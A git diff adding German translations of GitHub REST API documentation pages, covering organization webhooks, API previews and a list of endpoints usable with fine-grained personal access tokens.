diff --git a/translations/de-DE/content/rest/orgs/index.md b/translations/de-DE/content/rest/orgs/index.md
new file mode 100644
index 0000000000..6c81a1a15a
--- /dev/null
+++ b/translations/de-DE/content/rest/orgs/index.md
@@ -0,0 +1,31 @@
+---
+title: Organisationen
+intro: 'Mit der Organisationen-API kannst du alle deine {% data variables.product.product_name %}-Organisationen steuern und verwalten.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /v3/orgs
+  - /rest/reference/orgs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /orgs
+  - /blocking
+  - /custom-roles
+  - /members
+  - /outside-collaborators
+  - /security-managers
+  - /webhooks
+ms.openlocfilehash: d5b09781c9eca57244dd0051491d2611b0971686
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147444548'
+---
+
diff --git a/translations/de-DE/content/rest/orgs/members.md b/translations/de-DE/content/rest/orgs/members.md
new file mode 100644
index 0000000000..b495bd4254
--- /dev/null
+++ b/translations/de-DE/content/rest/orgs/members.md
@@ -0,0 +1,21 @@
+---
+title: Organisationsmitglieder
+allowTitleToDifferFromFilename: true
+shortTitle: Members
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 01e7953f2765497c93d13581eb19d57ccb083e69
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064834'
+---
+
diff --git a/translations/de-DE/content/rest/orgs/orgs.md b/translations/de-DE/content/rest/orgs/orgs.md
new file mode 100644
index 0000000000..0d16115540
--- /dev/null
+++ b/translations/de-DE/content/rest/orgs/orgs.md
@@ -0,0 +1,20 @@
+---
+title: Organisationen
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 8dff05216c8d416e89b764dd50f36762319a68b3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147062858'
+---
+
diff --git a/translations/de-DE/content/rest/orgs/outside-collaborators.md b/translations/de-DE/content/rest/orgs/outside-collaborators.md
new file mode 100644
index 0000000000..08cf2498a1
--- /dev/null
+++ b/translations/de-DE/content/rest/orgs/outside-collaborators.md
@@ -0,0 +1,19 @@
+---
+title: Externe Mitwirkende
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: d8ce4a4518ffe5d2bf8e590a6a0f9de4e2a8a14e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065522'
+---
+
diff --git a/translations/de-DE/content/rest/orgs/security-managers.md b/translations/de-DE/content/rest/orgs/security-managers.md
new file mode 100644
index 0000000000..0f30f3fe53
--- /dev/null
+++ b/translations/de-DE/content/rest/orgs/security-managers.md
@@ -0,0 +1,21 @@
+---
+title: Sicherheits-Manager
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '>=3.7'
+  ghae: '>= 3.7'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 85ec018cf1b6117d462eb30b67ef88fe67645f86
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147877021'
+---
+{% data reusables.organizations.security-manager-beta-note %}
+
+{% data reusables.organizations.about-security-managers %}
diff --git a/translations/de-DE/content/rest/orgs/webhooks.md b/translations/de-DE/content/rest/orgs/webhooks.md
new file mode 100644
index 0000000000..9be7ee5ba2
--- /dev/null
+++ b/translations/de-DE/content/rest/orgs/webhooks.md
@@ -0,0 +1,44 @@
+---
+title: Organisationswebhooks
+allowTitleToDifferFromFilename: true
+shortTitle: Webhooks
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 68b043b92589bf1c1b3a6b543168d5b5b8c85118
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066842'
+---
+## Informationen zur Organisationswebhooks-API
+
+Organisationswebhooks ermöglichen es dir, `POST`-HTTP-Nutzdaten zu empfangen, wenn bestimmte Ereignisse in einer Organisation auftreten. {% data reusables.webhooks.webhooks-rest-api-links %}
+
+Weitere Informationen zu Aktionen, die du abonnieren kannst, findest du unter[{% data variables.product.prodname_dotcom %}-Ereignistypen](/developers/webhooks-and-events/github-event-types).
+
+### Bereiche und Einschränkungen
+
+Alle Aktionen für Organisationswebhooks erfordern, dass der authentifizierte Benutzer ein Administrator der Organisation sein muss, die verwaltet wird. Darüber hinaus benötigen OAuth-Token den `admin:org_hook`-Bereich. Weitere Informationen findest du unter [Bereiche für OAuth-Apps](/developers/apps/scopes-for-oauth-apps).
+
+Um vertrauliche Daten zu schützen, die in Webhook-Konfigurationen vorhanden sein können, erzwingen wir auch die folgenden Zugriffssteuerungsregeln:
+
+- OAuth-Anwendungen können keine Webhooks auflisten, anzeigen oder bearbeiten, die sie nicht erstellt haben.
+- Benutzer*innen können Webhooks, die von OAuth-Anwendungen erstellt wurden, nicht auflisten, anzeigen oder bearbeiten.
+
+### Empfangen von Webhooknutzdaten
+
+Damit {% data variables.product.product_name %} Webhooknutzlasten senden kann, muss ein Zugriff auf deinen Server über das Internet möglich sein. Zudem wird dringend empfohlen, SSL zu verwenden, sodass verschlüsselte Nutzdaten über HTTPS gesendet werden können.
+
+Weitere Best Practices findest du in [unserem Leitfaden](/guides/best-practices-for-integrators/).
+
+#### Webhookheader
+
+{% data variables.product.product_name %} sendet mehrere HTTP-Header, um zwischen Ereignistypen und Nutzdatenbezeichnern zu unterscheiden. Details findest du unter [Webhookheader](/webhooks/event-payloads/#delivery-headers).
diff --git a/translations/de-DE/content/rest/overview/api-previews.md b/translations/de-DE/content/rest/overview/api-previews.md
new file mode 100644
index 0000000000..9ec7f2ffc9
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/api-previews.md
@@ -0,0 +1,29 @@
+---
+title: API previews
+intro: You can use API previews to try out new features and provide feedback before these features become official.
+redirect_from:
+  - /v3/previews
+versions:
+  ghes: <3.4
+topics:
+  - API
+---
+
+
+API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API.
+
+During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice.
+
+To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide.
+
+{% ifversion ghes < 3.4 %}
+## Content attachments
+
+You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details.
+
+**Custom media types:** `corsair-preview`
+**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
+
+{% endif %}
+
+
diff --git a/translations/de-DE/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md b/translations/de-DE/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md
new file mode 100644
index 0000000000..1def3b3d1b
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md
@@ -0,0 +1,829 @@
+---
+title: 'Endpunkte, die für differenzierte persönliche Zugriffstoken verfügbar sind'
+intro: 'Dein {% data variables.product.pat_v2 %} kann Anforderungen an die folgenden REST-Endpunkte richten.'
+versions:
+  feature: pat-v2
+shortTitle: '{% data variables.product.pat_v2_caps %}-enabled endpoints'
+ms.openlocfilehash: 7e6b4506a1af51a3c8da5aa8ee905936025aa952
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107237'
+---
+## Aktionen
+
+- [`GET /repos/{owner}/{repo}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#list-github-actions-caches-for-a-repository)
+- [`DELETE /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#delete-github-actions-caches-for-a-repository-using-a-cache-key)
+- [`DELETE /repos/{owner}/{repo}/actions/caches/{cache_id}`](/rest/actions/cache#delete-a-github-actions-cache-for-a-repository-using-a-cache-id)
+- [`GET /repos/{owner}/{repo}/actions/secrets`](/rest/reference/actions#list-repository-secrets)
+- [`GET /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#get-a-repository-secret)
+- [`PUT /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-a-repository-secret)
+- [`DELETE /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-a-repository-secret)
+- [`GET /repos/{owner}/{repo}/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key)
+- [`GET /repos/{owner}/{repo}/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#get-an-artifact)
+- [`DELETE /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#delete-an-artifact)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/artifacts`](/rest/reference/actions#list-workflow-run-artifacts)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#get-pending-deployments-for-a-workflow-run)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run)
+- [`GET /enterprises/{enterprise}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-an-enterprise)
+- [`PUT /enterprises/{enterprise}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/permissions/organizations`](/rest/reference/actions#list-selected-organizations-enabled-for-github-actions-in-an-enterprise)
+- [`PUT /enterprises/{enterprise}/actions/permissions/organizations`](/rest/reference/actions#set-selected-organizations-enabled-for-github-actions-in-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-an-enterprise)
+- [`PUT /enterprises/{enterprise}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions-for-an-enterprise)
+- [`PUT /enterprises/{enterprise}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions-for-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/runner-groups`](/rest/reference/actions#list-self-hosted-runner-groups-for-an-enterprise)
+- [`POST /enterprises/{enterprise}/actions/runner-groups`](/rest/reference/actions#create-self-hosted-runner-group-for-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#get-a-self-hosted-runner-group-for-an-enterprise)
+- [`PATCH /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-enterprise)
+- [`DELETE /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#delete-a-self-hosted-runner-group-from-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/organizations`](/rest/reference/actions#list-organization-access-to-a-self-hosted-runner-group-in-a-enterprise)
+- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/organizations`](/rest/reference/actions#set-organization-access-to-a-self-hosted-runner-group-in-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#list-self-hosted-runners-in-a-group-for-an-enterprise)
+- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-enterprise)
+- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#add-a-self-hosted-runner-to-a-group-for-an-enterprise)
+- [`DELETE /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-an-enterprise)
+- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}`](/rest/reference/actions#delete-self-hosted-runner-from-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-enterprise)
+- [`POST /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-enterprise)
+- [`PUT /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-enterprise)
+- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-enterprise)
+- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-enterprise)
+- [`GET /enterprises/{enterprise}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-enterprise)
+- [`POST /enterprises/{enterprise}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-enterprise)
+- [`POST /enterprises/{enterprise}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-enterprise)
+- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}`](/rest/reference/actions#get-a-job-for-a-workflow-run)
+- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run)
+- [`POST /repos/{owner}/{repo}/actions/jobs/{job_id}/rerun`](/rest/reference/actions#re-run-job-for-workflow-run)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run-attempt)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run)
+- [`GET /orgs/{org}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-organization)
+- [`GET /orgs/{org}/actions/cache/usage-by-repository`](/rest/reference/actions#list-repositories-with-github-actions-cache-usage-for-an-organization)
+- [`GET /orgs/{org}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-an-organization)
+- [`PUT /orgs/{org}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-an-organization)
+- [`GET /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- [`PUT /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#set-selected-repositories-enabled-for-github-actions-in-an-organization)
+- [`GET /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-an-organization)
+- [`PUT /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-an-organization)
+- [`GET /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions)
+- [`PUT /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions)
+- [`GET /orgs/{org}/actions/secrets`](/rest/reference/actions#list-organization-secrets)
+- [`GET /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#get-an-organization-secret)
+- [`PUT /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-an-organization-secret)
+- [`DELETE /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-an-organization-secret)
+- [`GET /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
+- [`PUT /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
+- [`GET /orgs/{org}/actions/secrets/public-key`](/rest/reference/actions#get-an-organization-public-key)
+- [`GET /orgs/{org}/actions/runner-groups`](/rest/reference/actions#list-self-hosted-runner-groups-for-an-organization)
+- [`POST /orgs/{org}/actions/runner-groups`](/rest/reference/actions#create-a-self-hosted-runner-group-for-an-organization)
+- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#get-a-self-hosted-runner-group-for-an-organization)
+- [`PATCH /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization)
+- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#delete-a-self-hosted-runner-group-from-an-organization)
+- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#list-repository-access-to-a-self-hosted-runner-group-in-an-organization)
+- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#set-repository-access-to-a-self-hosted-runner-group-in-an-organization)
+- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#list-self-hosted-runners-in-a-group-for-an-organization)
+- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)
+- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#add-a-self-hosted-runner-to-a-group-for-an-organization)
+- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)
+- [`GET /orgs/{org}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
+- [`GET /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
+- [`DELETE /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
+- [`GET /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization)
+- [`POST /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)
+- [`PUT /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization)
+- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization)
+- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization)
+- [`GET /orgs/{org}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization)
+- [`POST /orgs/{org}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization)
+- [`POST /orgs/{org}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization)
+- [`GET /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-a-repository)
+- [`PUT /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#get-workflow-access-level-to-a-repository)
+- [`PUT /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#set-workflow-access-to-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-a-repository)
+- [`PUT /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions-for-a-repository)
+- [`PUT /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
+- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)
+- [`POST /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository)
+- [`PUT /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository)
+- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository)
+- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-a-repository)
+- [`POST /repos/{owner}/{repo}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository)
+- [`POST /repos/{owner}/{repo}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#get-a-workflow-run)
+- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#delete-a-workflow-run)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/approvals`](/rest/reference/actions#get-the-review-history-for-a-workflow-run)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/approve`](/rest/reference/actions#approve-a-workflow-run-for-a-fork-pull-request)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}`](/rest/reference/actions#get-a-workflow-run-attempt)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/logs`](/rest/reference/actions#download-workflow-run-attempt-logs)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/cancel`](/rest/reference/actions#cancel-a-workflow-run)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#download-workflow-run-logs)
+- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#delete-workflow-run-logs)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun`](/rest/reference/actions#re-run-a-workflow)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun-failed-jobs`](/rest/reference/actions#re-run-workflow-failed-jobs)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/timing`](/rest/reference/actions#get-workflow-run-usage)
+- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs`](/rest/reference/actions#list-workflow-runs)
+- [`GET /repos/{owner}/{repo}/actions/workflows`](/rest/reference/actions#list-repository-workflows)
+- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}`](/rest/reference/actions#get-a-workflow)
+- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/disable`](/rest/reference/actions#disable-a-workflow)
+- [`POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches`](/rest/reference/actions#create-a-workflow-dispatch-event)
+- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/enable`](/rest/reference/actions#enable-a-workflow)
+- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/timing`](/rest/reference/actions#get-workflow-usage)
+
+## activity
+
+- [`GET /events`](/rest/reference/activity#list-public-events)
+- [`GET /networks/{owner}/{repo}/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
+- [`GET /orgs/{org}/events`](/rest/reference/activity#list-public-organization-events)
+- [`GET /repos/{owner}/{repo}/events`](/rest/reference/activity#list-repository-events)
+- [`GET /users/{username}/events`](/rest/reference/activity#list-events-for-the-authenticated-user)
+- [`GET /users/{username}/events/orgs/{org}`](/rest/reference/activity#list-organization-events-for-the-authenticated-user)
+- [`GET /users/{username}/events/public`](/rest/reference/activity#list-public-events-for-a-user)
+- [`GET /users/{username}/received_events`](/rest/reference/activity#list-events-received-by-the-authenticated-user)
+- [`GET /users/{username}/received_events/public`](/rest/reference/activity#list-public-events-received-by-a-user)
+- [`GET /feeds`](/rest/reference/activity#get-feeds)
+- [`GET /notifications`](/rest/reference/activity#list-notifications-for-the-authenticated-user)
+- [`PUT /notifications`](/rest/reference/activity#mark-notifications-as-read)
+- [`GET /notifications/threads/{thread_id}`](/rest/reference/activity#get-a-thread)
+- [`PATCH /notifications/threads/{thread_id}`](/rest/reference/activity#mark-a-thread-as-read)
+- [`GET /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#get-a-thread-subscription-for-the-authenticated-user)
+- [`PUT /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#set-a-thread-subscription)
+- [`DELETE /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#delete-a-thread-subscription)
+- [`GET /repos/{owner}/{repo}/notifications`](/rest/reference/activity#list-repository-notifications-for-the-authenticated-user)
+- [`PUT /repos/{owner}/{repo}/notifications`](/rest/reference/activity#mark-repository-notifications-as-read)
+- [`GET /repos/{owner}/{repo}/subscription`](/rest/reference/activity#get-a-repository-subscription)
+- [`PUT /repos/{owner}/{repo}/subscription`](/rest/reference/activity#set-a-repository-subscription)
+- [`DELETE /repos/{owner}/{repo}/subscription`](/rest/reference/activity#delete-a-repository-subscription)
+- [`GET /repos/{owner}/{repo}/stargazers`](/rest/reference/activity#list-stargazers)
+- [`GET /repos/{owner}/{repo}/subscribers`](/rest/reference/activity#list-watchers)
+- [`GET /users/{username}/starred`](/rest/reference/activity#list-repositories-starred-by-a-user)
+- [`GET /users/{username}/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user)
+- [`GET /user/starred`](/rest/reference/activity#list-repositories-starred-by-the-authenticated-user)
+- [`GET /user/starred/{owner}/{repo}`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
+- [`PUT /user/starred/{owner}/{repo}`](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
+- [`DELETE /user/starred/{owner}/{repo}`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
+- [`GET /user/subscriptions`](/rest/reference/activity#list-repositories-watched-by-the-authenticated-user)
+
+## Apps
+
+- [`DELETE /applications/{client_id}/grant`](/rest/reference/apps#delete-an-app-authorization)
+- [`POST /applications/{client_id}/token`](/rest/reference/apps#check-a-token)
+- [`PATCH /applications/{client_id}/token`](/rest/reference/apps#reset-a-token)
+- [`DELETE /applications/{client_id}/token`](/rest/reference/apps#delete-an-app-token)
+- [`POST /applications/{client_id}/token/scoped`](/rest/reference/apps#create-a-scoped-access-token)
+- [`GET /installation/repositories`](/rest/reference/apps#list-repositories-accessible-to-the-app-installation)
+- [`DELETE /installation/token`](/rest/reference/apps#revoke-an-installation-access-token)
+- [`GET /user/installations/{installation_id}/repositories`](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
+- [`PUT /user/installations/{installation_id}/repositories/{repository_id}`](/rest/reference/apps#add-a-repository-to-an-app-installation)
+- [`DELETE /user/installations/{installation_id}/repositories/{repository_id}`](/rest/reference/apps#remove-a-repository-from-an-app-installation)
+- [`POST /app-manifests/{code}/conversions`](/rest/reference/apps#create-a-github-app-from-a-manifest)
+- [`GET /app`](/rest/reference/apps#get-the-authenticated-app)
+- [`GET /app/hook/config`](/rest/reference/apps#get-a-webhook-configuration-for-an-app)
+- [`PATCH /app/hook/config`](/rest/reference/apps#update-a-webhook-configuration-for-an-app)
+- [`GET /app/hook/deliveries`](/rest/reference/apps#list-deliveries-for-an-app-webhook)
+- [`GET /app/hook/deliveries/{delivery_id}`](/rest/reference/apps#get-a-delivery-for-an-app-webhook)
